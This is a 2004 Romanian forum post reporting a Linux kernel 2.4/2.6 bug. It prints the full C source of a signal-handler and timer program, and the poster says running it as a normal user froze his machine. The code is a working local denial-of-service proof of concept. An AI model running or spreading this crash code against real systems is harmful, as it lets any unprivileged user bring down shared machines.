HanuAncutei.com - ARTA de a conversa!
Haine Dama designer roman

Bine ati venit ca musafir! ( Logare | Inregistrare )

> Linux Bugs, crash, boom, bang
trustbyte
mesaj 16 Jun 2004, 01:59 PM
Mesaj #1


Dregator
*****

Grup: Membri
Mesaje: 567
Inscris: 5 January 04
Forumist Nr.: 1.705



Nimic nu e perfect.
Linux-ul nu se abate de la regula.


Un bug de kernel, deosebit de grav a fost descoperit zilele astea.

Asa arata sursa care trebuie compilata:

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}


Ruland executabilul ca user normal, pe statia mea cu kernel 2.4, masina a inghetat complet.
Kernelul 2.4 si 2.6 este afectat.

Mai multe detalii aici: link




smile.gif

Acest topic a fost editat de -trustbyte-: 16 Jun 2004, 04:01 PM
Go to the top of the page
 
+Quote Post

Mesaje in acest topic


Reply to this topicStart new topic

 



RSS Versiune Text-Only Data este acum: 29 April 2024 - 02:53 PM
Ceaiuri Medicinale Haine Dama Designer Roman